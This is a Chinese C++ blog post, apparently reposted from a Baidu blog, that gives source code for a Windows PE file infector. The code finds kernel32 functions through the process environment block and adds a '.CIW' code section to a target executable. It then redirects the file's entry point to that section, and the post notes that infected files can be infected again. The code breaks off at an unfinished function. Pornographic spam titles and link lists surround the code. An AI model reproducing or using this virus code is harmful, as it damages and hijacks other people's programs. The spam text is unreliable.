青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

聚星亭

吾笨笨且懶散兮 急須改之而奮進
posts - 74, comments - 166, trackbacks - 0, articles - 0
  C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

說明部分            
原帖:http://hi.baidu.com/ciw%5Fblue/blog/item/527fef260882db108b82a139.html  

1.改進了 Invoke函數(shù) 現(xiàn)在可以支持全局字符串 但是在第3個參數(shù)必須指定類型 和 printf中的%s,%d相似 s或S為字符串 

2.動態(tài)獲取Kernel32.dll,LoadLibrary,GetProcAddress地址 

3.被感染的文件可以再感染

#include <windows.h>

#pragma data_seg(
".mydat"
#pragma code_seg(
".shell")
#pragma const_seg(
".constdata")
#pragma comment(linker,
"/SECTION:.mydat,RWE"
#pragma comment(linker,
"/SECTION:.shell,RWE")
#pragma comment(linker,
"/SECTION:.constdata,RWE")
#pragma comment(linker,
"/MERGE:.mydat=.shell")
#pragma comment(linker,
"/MERGE:.constdata=.shell")
#pragma comment(linker, 
"/OPT:NOWIN98"
#pragma comment(linker, 
"/ENTRY:main")   
#pragma comment(linker, 
"/subsystem:windows")


#define Recode(A) _asm call A _asm A: _asm pop ebx _asm lea eax, A _asm sub ebx, eax
#define GetFunOffset(pFun) _asm mov eax, [ebx + pFun] _asm mov pFun, eax
#define GetStringOffset(pStr) _asm mov eax, [pStr] _asm lea eax, [ebx + eax] _asm mov pStr, eax 
#define GetGlobalVar(dwGlobalVar, dwLocalVar) _asm mov eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define GetGlobalAddr(dwGlobalVar, dwLocalVar) _asm lea eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define VA_END -2
#define DOS IMAGE_DOS_HEADER
#define NT IMAGE_NT_HEADERS
#define SEC IMAGE_SECTION_HEADER
#define MZ_FLAG 23117
#define PE_FLAG 17744
#define MY_SECTION_NAME_LENGTH 4
void GetKernellFun();
void CodeEnd() ;
int Invoke(char* pGlobalDllName, char* pGlobalFunName, char* pGlobalAgrFmt, );
typedef HINSTANCE (WINAPI 
*pLoadLibraryDef)(LPCTSTR);
typedef DWORD (WINAPI 
*pMsgBoxDef)(DWORD,DWORD,DWORD,DWORD);
bool Strcmp(char* szSrc, char* szDes);
bool InjectPe(char* szInjectFileName, bool);
DWORD dwOldEntry 
= 0;
char szUser32[] = "User32.Dll";
char szMessageBox[] = "MessageBoxA";
char szKernel32[] = "Kernel32.Dll";
char szExitProcess[] = "ExitProcess";
char szText[] = "真的要運行程序嗎?";
char szCaption[] = "CIW_BLUE Code";
char szLoadLibrary[] = "LoadLibraryA";
char szGetProcAddress[] = "GetProcAddress";
char szMySectionName[] = ".CIW";
DWORD dwLoadLibrary 
= 0;
DWORD dwGetProcAddress 
= 0;

char szInjectFileName[] = "C:\\1.exe";


int main()
{
  Recode(A)
  GetKernellFun();
  DWORD dwOldAddr 
= 0;
  
char *pInjectFileName = szInjectFileName;
  GetStringOffset(pInjectFileName);
  GetGlobalVar(dwOldEntry, dwOldAddr);
  
  
if(Invoke("User32""MessageBoxA""nssn", NULL, szText, szCaption, MB_YESNO, VA_END) == IDNO)
  {
    Invoke(szKernel32, szExitProcess, 
"n"0, VA_END);
  }

  InjectPe(pInjectFileName, 
0);

  _asm
  { 
    cmp dwOldAddr, 
0
    jz NotJmp
    jmp dwOldAddr
NotJmp:
    
  }
  Invoke(szKernel32, szExitProcess, 
"n"0, VA_END);
  
return 0;
}
int Invoke(char* pGlobalDllName, char* pGlobalFunName, char* pGlobalAgrFmt, )
{
  Recode(A)
    
char*pTempFunName = pGlobalDllName;
  GetStringOffset(pGlobalDllName);
  GetStringOffset(pGlobalFunName);
  GetStringOffset(pGlobalAgrFmt);
  
  DWORD dwLoadLib 
= 0x7c800000;
  DWORD dwGetProcAddr 
= 0x7c800000;
  
  GetGlobalVar(dwLoadLibrary, dwLoadLib);
  GetGlobalVar(dwGetProcAddress, dwGetProcAddr);
  
  HMODULE hDll 
= ((HMODULE(WINAPI*)(char*))dwLoadLib)(pGlobalDllName);
  PROC dwFunAddr 
= ((PROC(WINAPI*)(HMODULE,char*))dwGetProcAddr)(hDll, pGlobalFunName);
  DWORD dwRet 
= 0, j = 0;
  DWORD dwParam[
128], dwParamTemp = 0;
  DWORD dwParamLen 
= 0;
  va_list stVaList;
  
  va_start(stVaList, pGlobalAgrFmt);
  
while((dwParam[dwParamLen++= va_arg(stVaList,DWORD)) != VA_END);
  dwParamLen 
-= 2;
  
while(dwParamLen != -1)
  {
    dwParamTemp 
= dwParam[dwParamLen];
    
    
if(pGlobalAgrFmt[dwParamLen] == 's' || pGlobalAgrFmt[dwParamLen] == 'S')
      GetStringOffset(dwParamTemp);
    
    _asm push dwParamTemp
      
      dwParamLen
--;
  }
  _asm mov  eax, dwFunAddr
    _asm call eax
    _asm mov  dwRet,  eax
    va_end(stVaList);
  
return dwRet;
}

void GetKernellFun()
{
  Recode(A)
    
    
char* pLoadLibrary = szLoadLibrary;
  
char* pGetProcAddress = szGetProcAddress;
  DWORD dwFuncAddr 
= 0;
  
  GetStringOffset(pLoadLibrary);
  GetStringOffset(pGetProcAddress);
  
  IMAGE_DOS_HEADER
* stDos;
  IMAGE_NT_HEADERS
* stNT;
  IMAGE_DATA_DIRECTORY
* stDatDir = 0;
  IMAGE_EXPORT_DIRECTORY
* stEPT;
  
  DWORD dwKernelBase 
= 0;
  _asm
  {
    mov eax,dword ptr fs:[30h]
      mov eax,dword ptr [eax
+0Ch]
      mov esi,dword ptr [eax
+1Ch]
      lods dword ptr [esi]
      mov eax,dword ptr [eax
+08h]
      mov dwKernelBase, eax
  }
  
  
char *pBase = (char*)dwKernelBase;
  stDos 
= (IMAGE_DOS_HEADER*)dwKernelBase;
  
  stNT 
= (IMAGE_NT_HEADERS*)(pBase + stDos->e_lfanew);
  
  stDatDir 
= &stNT->OptionalHeader.DataDirectory[0];
  
  stEPT 
= (IMAGE_EXPORT_DIRECTORY*)(pBase + stDatDir->VirtualAddress);
  
  DWORD
* dwFunAddr = (DWORD*)(pBase + stEPT->AddressOfFunctions);
  DWORD
* dwAddr = (DWORD*)(pBase + stEPT->AddressOfNames);
  WORD
* dwAddr1 = (WORD*)(pBase + stEPT->AddressOfNameOrdinals);
  
  
for(int i = 0; i < stEPT->NumberOfNames; i++)
  {
    
if(Strcmp(pBase + dwAddr[i], pLoadLibrary) == 0)
      
break;
  }
  dwFuncAddr 
= dwFunAddr[i];
  _asm
  {
    Recode(B)
      mov  eax, dwFuncAddr
      add eax, dwKernelBase
      mov [ebx 
+ dwLoadLibrary], eax
  }
  
  
  
for(i = 0; i < stEPT->NumberOfNames; i++)
  {
    
if(Strcmp(pBase + dwAddr[i], pGetProcAddress) == 0)
      
break;
  }
  dwFuncAddr 
= dwFunAddr[i];
  _asm
  {
    Recode(C)
      mov  eax, dwFuncAddr
      add eax, dwKernelBase
      mov [ebx 
+ dwGetProcAddress], eax
  }
}

bool Strcmp(char* szSrc, char* szDes)
{
  
while(*szSrc && *szDes && *szSrc == *szDes)
  {
    szSrc
++, szDes++;
  }
  
return *szSrc - *szDes;
}


void Strcpy(char *szDesStr, char *szSrcStr)
{
  
while*szSrcStr )
    
*szDesStr ++ = *szSrcStr ++;
  
*szDesStr = 0;
}
bool IsPeFile(PVOID pPeBase)
{
  IMAGE_DOS_HEADER
* stDos = (DOS*)pPeBase;
  IMAGE_NT_HEADERS
* stNT = (NT*)((char*)pPeBase + stDos->e_lfanew);
  
if(stDos->e_magic != MZ_FLAG)
    
return false;
  
  
if(stNT->Signature != PE_FLAG)
    
return false;
  
  
return true;
}

int Align(int nSize, int n)
{
  
if(nSize % n)
    
return (nSize / n + 1* n;
  
  
return nSize;
}

bool InjectPe(char* szInjectFileName, bool bFlag)
{
  Recode(A)
  
char* pMySectionName = szMySectionName;
  DWORD dwCodeSize 
= (DWORD)CodeEnd - (DWORD)&dwOldEntry, dwSize = 0, dwOldEntry1 = 0, dwOldAddr = 0;
  GetStringOffset(pMySectionName);

  Recode(B)
GetGlobalAddr(dwOldEntry, dwOldAddr);
  GetKernellFun();
  HANDLE hFile 
= (HANDLE)Invoke("Kernel32.dll""CreateFileA""snnnnnn", ::szInjectFileName, GENERIC_READ | FILE_SHARE_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL, VA_END);
  HANDLE hMapFile 
= (HANDLE)Invoke("Kernel32""CreateFileMappingA""nnnnnn", hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL, VA_END);
  PVOID pFile 
= (PVOID)Invoke("Kernel32""MapViewOfFile""nnnnnn", hMapFile, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL, VA_END);
  
if(!pFile)
    
return 0;
  
if(!IsPeFile(pFile))
    
return 0;
  IMAGE_NT_HEADERS
* stNT = (NT*)((char*)pFile + ((DOS*)pFile)->e_lfanew);
  
  IMAGE_SECTION_HEADER
* stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
  
  
for(int i = 0; i < stNT->FileHeader.NumberOfSections; i++)
    
if(!Strcmp((char*)stSec[i].Name, pMySectionName))
      
return 0;
    
    stSec 
= (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
    IMAGE_SECTION_HEADER
* stLastSec = &stSec[stNT->FileHeader.NumberOfSections - 1];
    IMAGE_SECTION_HEADER
* stNewSec = &stSec[stNT->FileHeader.NumberOfSections];
    DWORD dwFileAlign 
= stNT->OptionalHeader.FileAlignment;
    DWORD dwCodeAlign 
= stNT->OptionalHeader.SectionAlignment;
    
    stNT
->FileHeader.NumberOfSections = stNT->FileHeader.NumberOfSections + 1;
    
    Strcpy((
char*)stNewSec->Name, pMySectionName);
    stNewSec
->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ;
    stNewSec
->VirtualAddress = stLastSec->VirtualAddress + Align(stLastSec->Misc.VirtualSize, dwCodeAlign);
    stNewSec
->PointerToRawData = stLastSec->PointerToRawData + stLastSec->SizeOfRawData;
    stNewSec
->SizeOfRawData = Align(dwCodeSize, dwFileAlign);
    stNewSec
->Misc.VirtualSize = Align(dwCodeSize, dwCodeAlign);
     
    stNT
->OptionalHeader.SizeOfCode += stNewSec->Misc.VirtualSize;
    stNT
->OptionalHeader.SizeOfImage += stNewSec->Misc.VirtualSize;
    
    Invoke(
"Kernel32""SetFilePointer""nnnn", hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN, VA_END); 

    Invoke(
"Kernel32""WriteFile""nnnnn", hFile, dwOldAddr, stNewSec->Misc.VirtualSize, &dwSize, NULL, VA_END);

    Invoke(
"Kernel32""SetEndOfFile""n", hFile, VA_END);

    dwOldEntry1 
= stNT->OptionalHeader.AddressOfEntryPoint + stNT->OptionalHeader.ImageBase;
    Invoke(
"Kernel32""SetFilePointer""nnnn", hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN, VA_END);
    Invoke(
"Kernel32""WriteFile""nnnnn", hFile, &dwOldEntry1 , 4&dwSize, NULL, VA_END);

    stNT
->OptionalHeader.AddressOfEntryPoint = stNewSec->VirtualAddress + (DWORD)main - (DWORD)&dwOldEntry;
    
    Invoke(
"Kernel32""FlushViewOfFile""nn", pFile, stNT->OptionalHeader.SizeOfHeaders, VA_END);
    
    Invoke(
"Kernel32""UnmapViewOfFile""n", pFile, VA_END);
    Invoke(
"Kernel32""CloseHandle""n", hMapFile, VA_END);
    Invoke(
"Kernel32""CloseHandle""n", hFile, VA_END); 
    
return true;
}   



void CodeEnd() 
{

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲黄色精品| 亚洲国产精品一区制服丝袜 | 一区二区三区久久精品| 亚洲国产精品久久91精品| 免费观看日韩| 欧美aa在线视频| 亚洲国产精品第一区二区| 亚洲精品国产精品国自产观看| 亚洲国产精品一区在线观看不卡| 最新国产拍偷乱拍精品| 在线亚洲精品| 欧美中文字幕在线视频| 蜜桃av综合| 欧美三级电影一区| 国产视频自拍一区| 亚洲大片免费看| 一区二区三区精品久久久| 亚洲伊人色欲综合网| 久久久久国产成人精品亚洲午夜| 免费日本视频一区| 亚洲免费久久| 久久成人一区二区| 欧美日韩国产免费| 国产一区二区高清| 99riav久久精品riav| 久久成人免费| 最新日韩在线视频| 欧美一区二区在线播放| 欧美激情视频免费观看| 国产视频欧美| 一本色道久久综合亚洲精品小说| 欧美一区二区视频在线观看2020 | 99一区二区| 久久人人看视频| 9久re热视频在线精品| 久久激情五月激情| 国产精品福利片| 最新亚洲激情| 久久婷婷国产综合尤物精品| 中国女人久久久| 欧美韩国日本综合| 在线日韩精品视频| 久久久99久久精品女同性| 夜夜爽av福利精品导航 | 裸体一区二区| 午夜在线一区| 国产精品日产欧美久久久久| 亚洲美女在线一区| 国产精品夜夜嗨| 欧美精品二区| 亚洲黄色一区二区三区| 麻豆成人综合网| 午夜精品久久久久久久久| 欧美体内谢she精2性欧美| 亚洲精品视频在线观看免费| 猛干欧美女孩| 久久久亚洲国产美女国产盗摄| 国产区二精品视| 久久av在线看| 欧美在线一区二区| 国产视频一区在线观看| 久久成人在线| 欧美影片第一页| 国产专区欧美精品| 久久亚洲图片| 久久人人97超碰精品888| 伊人成年综合电影网| 老司机精品视频网站| 麻豆亚洲精品| 日韩一区二区高清| 99视频精品在线| 国产精品wwwwww| 香蕉久久夜色精品国产| 欧美一区二区视频在线观看2020| 国产一区二区丝袜高跟鞋图片 | 亚洲欧美在线免费观看| 国产主播一区二区| 欧美国产日韩在线观看| 欧美精品在线观看91| 亚洲欧美日韩成人| 欧美综合77777色婷婷| 亚洲电影免费在线观看| 亚洲精品网址在线观看| 国产精品久久午夜夜伦鲁鲁| 欧美在线免费观看视频| 久久综合色一综合色88| 9l国产精品久久久久麻豆| 亚洲视频欧美视频| 激情久久久久久久| 亚洲精品美女在线观看播放| 国产精品视频区| 欧美成人亚洲| 国产精品色婷婷久久58| 母乳一区在线观看| 欧美三级特黄| 欧美1区2区视频| 欧美色区777第一页| 久久久一本精品99久久精品66| 免费成人性网站| 亚洲欧美日韩精品久久久| 久久久www免费人成黑人精品 | 中日韩美女免费视频网址在线观看 | 一本大道久久精品懂色aⅴ| 中文日韩欧美| 亚洲第一中文字幕| 亚洲视频免费观看| 亚洲激情专区| 羞羞漫画18久久大片| 日韩视频一区二区三区在线播放 | 欧美高清在线一区二区| 欧美一区二区高清在线观看| 女同一区二区| 久久婷婷影院| 国产精品一二| 亚洲日产国产精品| 精品不卡在线| 午夜免费日韩视频| 一区二区三区欧美激情| 麻豆成人综合网| 久久亚洲国产精品日日av夜夜| 欧美午夜精品久久久| 亚洲国产日韩综合一区| 在线观看亚洲a| 久久精品国产亚洲aⅴ| 欧美一区二区观看视频| 国产精品二区在线| 99伊人成综合| 一区二区日韩欧美| 欧美精品久久久久久久久久| 欧美 日韩 国产一区二区在线视频| 国产精品自拍小视频| 亚洲视频欧美在线| 亚洲欧美电影在线观看| 欧美视频日韩视频在线观看| 亚洲精品国久久99热| 99国产精品99久久久久久粉嫩| 嫩草影视亚洲| 亚洲激情第一区| 亚洲老板91色精品久久| 欧美高清视频一区二区三区在线观看| 久久伊人精品天天| 在线播放国产一区中文字幕剧情欧美 | 久久亚洲视频| 狠狠狠色丁香婷婷综合久久五月| 亚洲欧美日韩综合国产aⅴ| 性色av香蕉一区二区| 国产精品久久久久aaaa| 亚洲一线二线三线久久久| 午夜精品福利在线观看| 国产欧美一区二区三区在线看蜜臀| 亚洲一区欧美| 久久久久久精| 在线观看中文字幕亚洲| 欧美成年人视频网站欧美| 91久久在线播放| 亚洲中字在线| 国内伊人久久久久久网站视频| 看欧美日韩国产| 一区二区三区精品视频在线观看| 亚洲砖区区免费| 国产一区白浆| 一区二区三区精密机械公司| 一本大道久久精品懂色aⅴ | 久久久一本精品99久久精品66| 国模 一区 二区 三区| 毛片一区二区| 在线综合+亚洲+欧美中文字幕| 欧美一区2区视频在线观看 | 亚洲激情网站| 欧美体内she精视频| 欧美一级午夜免费电影| 女主播福利一区| 亚洲免费在线观看视频| 亚洲第一精品夜夜躁人人爽| 欧美视频一区二区三区在线观看| 亚洲自拍偷拍福利| 欧美激情第10页| 亚洲欧美日韩国产另类专区| 激情av一区二区| 欧美视频一区二区三区…| 久久久久综合| 亚洲一区二区三区四区五区午夜| 久热精品在线视频| 亚洲男人的天堂在线aⅴ视频| 在线成人国产| 国产一区二区福利| 欧美午夜精品久久久久久久| 久久理论片午夜琪琪电影网| 亚洲一区欧美| 日韩一区二区精品视频| 欧美激情二区三区| 久久成人18免费观看| 亚洲一区精品电影| 亚洲美女av黄| 在线观看成人av电影| 国产日韩欧美在线视频观看| 欧美亚洲成人精品| 欧美日韩精品免费观看视一区二区 | 亚洲一区二区三区精品视频| 亚洲国产欧美在线人成|